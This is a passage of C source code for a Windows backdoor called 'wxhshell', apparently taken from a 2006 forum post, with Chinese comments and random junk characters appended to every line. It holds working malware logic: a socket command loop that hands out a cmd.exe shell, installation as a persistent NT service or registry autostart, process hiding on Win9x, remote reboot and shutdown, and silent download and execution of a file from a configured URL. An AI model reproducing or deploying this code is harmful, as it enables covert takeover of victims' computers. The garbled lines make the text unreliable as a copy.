  // 帮助 YR0AI l:L  
  case '?': { TMY. z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9/e>%1.  
    break; Vn kh Y  
  } 1}Q9y`65  
  // 安装 yOQae m^O  
  case 'i': { kN1R8|pv  
    if(Install()) anpKW a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C F','gPnc  
    else Cy uRj[;B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /"st sF  
    break; NYP3u_ QX  
    } B-]bhA4|:  
  // 卸载 S-o )d  
  case 'r': { Z3c\}HLY  
    if(Uninstall()) I*Dj@f`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C=r`\W  
    else %i3[x.M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4[x` \  
    break; )e'F[  
    } +C7E]0!r  
  // 显示 wxhshell 所在路径 $8U$.~v  
  case 'p': { T^#d;A  
    char svExeFile[MAX_PATH]; ~A5NseWCK  
    strcpy(svExeFile,"\n\r"); Gr&e]M[l  
      strcat(svExeFile,ExeFile); #tHYCSr]  
        send(wsh,svExeFile,strlen(svExeFile),0); mMllen  
    break; OET/4( C  
    } ]5QXiF8`  
  // 重启 $$.q6  
  case 'b': { BNjMq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \.iejB  
    if(Boot(REBOOT)) -QJ8\/1>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]U'zy+  
    else { iR9duP+  
    closesocket(wsh); Q`'cxx  
    ExitThread(0); cSB_b.@"1  
    } +{=U!}3|  
    break; zj2y=A| Y  
    } QQN6\(;-  
  // 关机 9v;[T%%  
  case 'd': { rp<~=X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -a>CF^tH  
    if(Boot(SHUTDOWN))  q9{ h@y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cE`qfz  
    else { eQ)*jeD  
    closesocket(wsh); Lz_.m  
    ExitThread(0); E A55!  
    } X=f%!  
    break; ji4bz#/B0  
    } DAf@-~c  
  // 获取shell gV9bt ~  
  case 's': { `?[,1   
    CmdShell(wsh); w{_g"X  
    closesocket(wsh); A:y^9+Da  
    ExitThread(0); ?R sPAL  
    break; i9qIaG/  
  } qhTVsZ:{C  
  // 退出 T YR \K  
  case 'x': { h,&{m*q&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u' kG(<0Y  
    CloseIt(wsh); AFBWiuwI3  
    break;  `5(F'o  
    } u.n'dF-  
  // 离开 \i-CTv6f  
  case 'q': { V'dw=W17V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :eL[nyQr  
    closesocket(wsh); -\B*reC  
    WSACleanup(); Ylu\]pr9|C  
    exit(1); "WtYqXyd  
    break; j$s/YI:  
        } dP_bFUzg  
  } cl4 _M{~  
  } r: >RH,  
{fV$\^c  
  // 提示信息 %#&njP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .=-a1p/  
} O x`K7$)  
  } B1U!*yzG6  
w 2U302TZ  
  return; q=`n3+N_H~  
} u&TXN;I,p  
za 7+xF  
// shell模块句柄 z6B#F<h  
int CmdShell(SOCKET sock) b]xoXC6@t  
{ [iO8R-N8d  
STARTUPINFO si; 0n kC%j  
ZeroMemory(&si,sizeof(si)); y4IQa.F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IqepR >5t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %*Mr ^=  
PROCESS_INFORMATION ProcessInfo; E6O!e<ze^  
char cmdline[]="cmd"; 84e8z{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Os9 EMU$  
  return 0; :HY =^$\  
} @Y.r ,q  
o_k)x3I?  
// 自身启动模式 rMjb,2*rC7  
int StartFromService(void) MXEI/mDYK  
{ ibwV #6  
typedef struct {5c?_U  
{ 2.MUQ;OX  
  DWORD ExitStatus; BgdUG:;&  
  DWORD PebBaseAddress; 0#uB[N  
  DWORD AffinityMask; _ gYj@ %  
  DWORD BasePriority; Q/4ICgo4  
  ULONG UniqueProcessId; LdNpb;*  
  ULONG InheritedFromUniqueProcessId; 6H  U*,  
}   PROCESS_BASIC_INFORMATION; ~@-r  
, u%V%  
PROCNTQSIP NtQueryInformationProcess; Z^4+ 88  
VEI ct{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CP%^)LX *  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $)9|"q6  
k_1@?&3  
  HANDLE             hProcess; > 3(,s^  
  PROCESS_BASIC_INFORMATION pbi; r[;d.3jtP  
ceCO*m~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E7@Gpu,o  
  if(NULL == hInst ) return 0; )b2O!p  
CqZHs 9+e&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ab j7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !|u?z%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o'(BL:8s  
GtZ.' ?-  
  if (!NtQueryInformationProcess) return 0; P\6:euI  
u SQ#Y^V_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v;;3 K*c>  
  if(!hProcess) return 0; hf2bM `d  
.7b%7dQ<\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9609  
X _@|+d  
  CloseHandle(hProcess); Kn@#5MC rU  
wi jO2F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6<fG; :  
if(hProcess==NULL) return 0; ivq(eKy  
M_ %-A  
HMODULE hMod; "P(obk  
char procName[255]; Lkx~>U   
unsigned long cbNeeded; c};%VB  
Fih pp<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (Y7zaAG]  
{CBb^BP  
  CloseHandle(hProcess); z5M6  
0!lWxS0#=  
if(strstr(procName,"services")) return 1; // 以服务启动 kln)7SzPuk  
vMEN14;yH_  
  return 0; // 注册表启动 y||RK` H  
} [{u3g4`}  
`=#jWZ.8m  
// 主模块 j"h/v7~  
int StartWxhshell(LPSTR lpCmdLine) F/>\uzu  
{ '&#gs P9  
  SOCKET wsl; .|R4E  
BOOL val=TRUE; LAf#Rco4  
  int port=0; \-;f<%+  
  struct sockaddr_in door; 9+N%Io?!  
~:T@SrVI  
  if(wscfg.ws_autoins) Install(); q: FhuOP  
vZTXvdF  
port=atoi(lpCmdLine); a0sz$u  
I]e+5 E0  
if(port<=0) port=wscfg.ws_port; Ta?}n^V?;  
MU a[}?  
  WSADATA data; [I4M K%YQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I)FFh%m<}a  
Kh$"5dy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H@xS<=:lM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \uPzj_kU6  
  door.sin_family = AF_INET; #vV]nI<MF.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P%e7c,  
  door.sin_port = htons(port); 8ex;g^e  
2Wluc37  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~CnnN[g(_  
closesocket(wsl); sS}:Od  
return 1; gU x}vE-  
} 96V8R<   
:\"0jQ.y|  
  if(listen(wsl,2) == INVALID_SOCKET) { 2\1+M)  
closesocket(wsl); @L!^2v  
return 1; mk1R~4v  
} p)/e;q^  
  Wxhshell(wsl); gE\ ^ vaB  
  WSACleanup(); C][hH?.  
> U?\WgE$  
return 0; a4^hC[a  
oa"Bpi9i  
} M+ %O-B  
E72N=7v"  
// 以NT服务方式启动 ~3:hed7:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]ouoRlb/  
{ 9S]pC?N]E  
DWORD   status = 0; L!Y|`P#Yr  
  DWORD   specificError = 0xfffffff; G=17]>U  
UDi(7c0.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,nteIR'??  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `S|F\mI ~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %;QK5L   
  serviceStatus.dwWin32ExitCode     = 0; ZSQiQ2\)  
  serviceStatus.dwServiceSpecificExitCode = 0; L.@$rFhA  
  serviceStatus.dwCheckPoint       = 0; s|<n7 =J  
  serviceStatus.dwWaitHint       = 0; [m:cO6DM,  
7Fo^ :"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gpxp8[ {  
  if (hServiceStatusHandle==0) return; wL),/i&<  
S,:!H@~B  
status = GetLastError(); SnFyK5  
  if (status!=NO_ERROR) L%v@|COQ3  
{ #(614-r/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; im &N &A  
    serviceStatus.dwCheckPoint       = 0; wGLMLbj5  
    serviceStatus.dwWaitHint       = 0; ENhLonM eV  
    serviceStatus.dwWin32ExitCode     = status; n}Z%D-b$  
    serviceStatus.dwServiceSpecificExitCode = specificError; &{8:XJe*,%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m=9b/Nr4  
    return; y p{Dl  
  } _?"y1 L.  
eWv:wNouk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]}/Rl}_  
  serviceStatus.dwCheckPoint       = 0; x]wi&  
  serviceStatus.dwWaitHint       = 0; =p.avAuSn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )KFxtM-  
} kfas4mkc  
~F-knEvL  
// 处理NT服务事件,比如:启动、停止 cL#-vW<s3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gz{%Z$A~o  
{ _0Ea 3K  
switch(fdwControl) m@kLZimD  
{ xT&~{,9  
case SERVICE_CONTROL_STOP: Y(6ev o&IR  
  serviceStatus.dwWin32ExitCode = 0; M2cGr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cu>(;=  
  serviceStatus.dwCheckPoint   = 0; ] hK}ASC  
  serviceStatus.dwWaitHint     = 0; n32"cFPpT  
  { ZbT$f^o}M]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ' :_9o5I  
  } =At" Q6-O  
  return; RP{0+  
case SERVICE_CONTROL_PAUSE: 0e0)1;t\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AcuZ? LYzK  
  break; A3tv'-e9  
case SERVICE_CONTROL_CONTINUE: b|.Cqsb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^=^\=9" b  
  break; Y)/|C7~W  
case SERVICE_CONTROL_INTERROGATE: f$^wu~  
  break; w.58=Pr  
}; M *w{PjU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;8PO}{rD  
} RN 4?]8  
v@QnS  
// 标准应用程序主函数 W2rd [W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d@ 8M_ O |  
{ 0fX` >-X  
5QK%BiDlr  
// 获取操作系统版本 yfV]f LZ  
OsIsNt=GetOsVer(); C~4SPCU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z4_B/Q  
)rP,+B?W  
  // 从命令行安装 swZi O_85  
  if(strpbrk(lpCmdLine,"iI")) Install(); rK'Lvt@w  
OEaL2T  
  // 下载执行文件 G@Z%[YNw  
if(wscfg.ws_downexe) { VK*_p EV,}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v)*MgfS  
  WinExec(wscfg.ws_filenam,SW_HIDE);  'V^M+ng  
} (${:5W  
-V;Y4,:c  
if(!OsIsNt) { >vo 6X]p~  
// 如果时win9x,隐藏进程并且设置为注册表启动 s9"X.-!  
HideProc(); hfI=9x/  
StartWxhshell(lpCmdLine); oS$7k3s fj  
} _+ 9i  
else %XN;S29d5W  
  if(StartFromService()) -4+'(3qr  
  // 以服务方式启动 'kj q C  
  StartServiceCtrlDispatcher(DispatchTable); ds+K7B$  
else V0 {#q/q  
  // 普通方式启动 Drtg7v{@\  
  StartWxhshell(lpCmdLine); )t+pwh!8  
wxcJ2T dH  
return 0; I2HV{1(i  
}
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只看该作者 1 发表于: 2006-10-10
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